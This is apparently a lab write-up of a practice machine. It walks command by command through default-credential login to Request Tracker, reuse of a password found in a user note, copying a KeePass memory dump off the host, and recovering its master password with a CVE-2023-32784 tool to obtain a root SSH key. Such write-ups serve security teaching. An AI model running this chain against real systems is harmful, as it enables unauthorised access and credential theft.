Recon

Two ports. Port 80 immediately redirected to a subdomain — added to hosts before doing anything else.

$ nmap -sC -sV -oN nmap/initial 10.129.3.1
22/tcp open  ssh   OpenSSH 8.9p1 Ubuntu
80/tcp open  http  nginx 1.18.0 (Ubuntu)
|_http-redirect: http://tickets.keeper.htb/rt/
  

$ echo "10.129.3.1 keeper.htb tickets.keeper.htb" >> /etc/hosts
  

Enumeration

Port 80 hosts Request Tracker (RT) 4.4.4 — an open-source IT ticketing system by Best Practical. The default administrator credentials for RT are root / password.

$ curl -s -c cookies.txt -b cookies.txt \
  -d "user=root&pass=password" \
  "http://tickets.keeper.htb/rt/NoAuth/Login.html" -L | grep -i "logged in"
Logged in as root
  

Logged in. I browsed to Admin → Users to enumerate system accounts. The user lnorgaard had a note in the Comments field:

New user. Initial password set to Welcome2023!
  

I tried those credentials over SSH immediately.

Foothold

$ ssh lnorgaard@keeper.htb
lnorgaard@keeper:~$ id
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)
lnorgaard@keeper:~$ ls
KeePass.DMP  RT30000.zip  passcodes.kdbx  user.txt
  

The home directory contains a KeePass process memory dump (KeePass.DMP) and a KeePass database (passcodes.kdbx). This combination immediately pointed to CVE-2023-32784.

Privilege Escalation

CVE-2023-32784: KeePass 2.x before 2.54 stores the master password in process memory as a series of managed string objects. Each character typed into the master password field leaves a residual string in the .NET managed heap — these strings are recoverable from a process memory dump even after the password entry has been cleared.

I transferred KeePass.DMP to my machine and ran the keepass-password-dumper tool (vdohney/keepass-password-dumper on GitHub):

$ scp lnorgaard@keeper.htb:~/KeePass.DMP .
$ git clone https://github.com/vdohney/keepass-password-dumper && cd keepass-password-dumper
$ dotnet run ../KeePass.DMP
Password candidates (character positions):
Unknown characters are displayed as ●
1.:     ●
2.:     ø
3.:     d
4.:     g
5.:     r
6.:     ø
7.:     d
8.:
9.:     m
10.:    e
11.:    d
12.:
13.:    f
14.:    l
15.:    ø
16.:    d
17.:    e
# Reconstructed: ●ødgrød med fløde → rødgrød med fløde (Danish dessert)
  

The master password is rødgrød med fløde. I opened passcodes.kdbx in KeePassXC on my machine. Inside was a root SSH key in PuTTY PPK format.

$ puttygen root.ppk -O private-openssh -o root_id_rsa
$ chmod 600 root_id_rsa
$ ssh -i root_id_rsa root@keeper.htb
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

Lessons Learned

• Default credentials on ticketing systems (RT root/password, Jira admin/admin) are a persistent problem — always try documented defaults before any other attack.
• User profile notes/comments in ticketing systems frequently contain cleartext passwords — browse all user accounts when you have admin access to a ticketing platform.
• CVE-2023-32784 proves that even encrypted credential stores leak data at the process memory layer — a memory dump of a running KeePass process exposes the master password regardless of the database encryption.
• PPK (PuTTY Private Key) to OpenSSH conversion is a common step — puttygen key.ppk -O private-openssh -o id_rsa is the command. Recognize the PPK format header: PuTTY-User-Key-File-2:.